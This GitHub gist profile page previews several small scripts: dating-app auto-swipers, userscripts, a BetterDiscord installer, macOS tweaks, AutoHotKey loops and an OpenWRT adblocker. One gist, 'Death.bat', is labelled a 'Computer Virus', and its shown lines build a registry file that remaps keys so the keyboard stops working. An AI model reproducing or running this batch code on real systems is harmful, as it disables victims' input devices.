Skip to content

Instantly share code, notes, and snippets.

View iGlitch's full-sized avatar
🏠

Glitch iGlitch

🏠
View GitHub Profile
@iGlitch
iGlitch / swipe.scpt
Last active April 22, 2024 14:56
Bumble, Tinder Auto-Swipe for macOS using AppleScript
tell application "System Events"
repeat
key code 124 -- Key code for the right arrow key (Like)
-- key code 123 -- Key code for the left arrow key (Dislike)
-- delay 2
set randomDelay to random number from 1 to 3 -- Generates a random number between 1 and 3
delay randomDelay -- Waits for the randomly generated number of seconds
end repeat
end tell
@iGlitch
iGlitch / auto-refresh.js
Last active April 7, 2024 20:53
with.is (ウィズ) ユーザースクリプト コレクション
// ==UserScript==
// @name With.is - Auto Refresh
// @namespace http://with.is/
// @version v0.1
// @description 検索ページを5分ごとに自動リフレッシュして、オンライン状態を保持しましょう。
// @author Glitch
// @match https://with.is/search*
// @icon https://www.google.com/s2/favicons?sz=64&domain=with.is
// @grant none
// ==/UserScript==
@iGlitch
iGlitch / bd.sh
Last active February 29, 2024 21:48
BetterDiscord Automatic Manual Installer - Mac OS
if [ -d "/Applications/Discord.app" ]; then
pkill -x Discord
rm -rf /Applications/Discord.app/Contents/Resources/app
wget -q https://github.com/rauenzi/BetterDiscordApp/archive/injector.zip
unzip -qq injector.zip
rm -rf injector.zip
mv BetterDiscordApp-injector app
mv app /Applications/Discord.app/Contents/Resources/
chown -R $(whoami) /Applications/Discord.app/Contents/Resources/app
echo "BD updated, you may now open Discord"
@iGlitch
iGlitch / hax.sh
Last active January 13, 2024 16:47
macOS provisioning, hardening, tweaking, whatever script - no more phone home
#!/bin/bash
# Let's "secure" even the script for you :)
sudo -v
function ok() {
echo -e "[OK] "$1
}
function bot() {
@iGlitch
iGlitch / tsumpremiumbuy.ahk
Created August 31, 2023 15:54
AutoHotKey - Auto Purchase Premium Boxes Loop
#NoEnv
#SingleInstance
SendMode Input
SetWorkingDir %A_ScriptDir%
CoordMode, Mouse, Screen
; ツムツムストア開いた状態
loop {
Click, 1590, 530 ;Click プレミアム BOX
Sleep, 1000
@iGlitch
iGlitch / Makefile
Last active August 2, 2023 14:25
Yet another Gecko code to .gct. Accepts codes formatted like: 00000000 11111111
CC=gcc
CFLAGS=-O3 -march=native -pipe
OBJ = main.o
%.o: %.c $(DEPS)
$(CC) -c -o $@ $< $(CFLAGS)
gct-generate: $(OBJ)
$(CC) -o $@ $^ $(CFLAGS)
@iGlitch
iGlitch / Death.bat
Created September 13, 2017 13:34
Computer Virus
::__---Virus Created By Glitch---__::
@echo off
::------Disable Keyboard-----::
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
@iGlitch
iGlitch / mpvprogressbar.lua
Created July 6, 2015 01:06
MPV Minimal Progress Bar
local msg = require('mp.msg')
local bar_height = 2
local hover_zone = 20
local log = {
debug = function(format, ...)
return msg.debug(format:format(...))
end,
info = function(format, ...)
return msg.info(format:format(...))
end,
@iGlitch
iGlitch / minecraft.php
Created February 9, 2015 19:16
Minecraft Server Status
<?php
//ini_set("display_errors", 1);
//ini_set("track_errors", 1);
//ini_set("html_errors", 1);
//error_reporting(E_ALL);
//The following script is tested only with servers running on Minecraft 1.7.
$SERVER_IP = "mc.brawlminus.net"; //Insert the IP of the server you want to query. Query must be enabled in your server.properties file!
$SERVER_PORT = "25565"; //Insert the PORT of the server you want to ping. Needed to get the favicon, motd, players online and players max. etc
@iGlitch
iGlitch / divblock.sh
Last active October 4, 2022 13:52
divblock mod for OpenWRT dnsmasq Adblocking
#!/bin/sh /etc/rc.common
#License: GPL-2.0-or-later
#Original by Tad @ https://divested.dev/unofficial-openwrt-builds/mvebu-linksys/patches/work/divblock.sh
#This mod adds up to five hosts for a bit more granular control
#on which hosts you would like to use, in case the original host
#list is too strict for your use case.
START=99
USE_PROCD=1